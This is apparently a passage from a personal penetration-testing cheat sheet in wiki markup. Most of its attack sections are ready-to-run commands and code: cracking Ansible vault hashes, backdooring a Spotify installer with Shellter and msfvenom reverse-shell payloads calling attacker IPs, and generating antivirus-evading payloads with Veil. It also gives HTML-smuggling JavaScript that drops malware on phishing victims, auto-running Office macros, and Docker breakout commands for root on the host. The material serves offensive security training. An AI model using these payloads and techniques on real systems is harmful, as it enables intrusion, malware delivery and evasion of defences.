&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
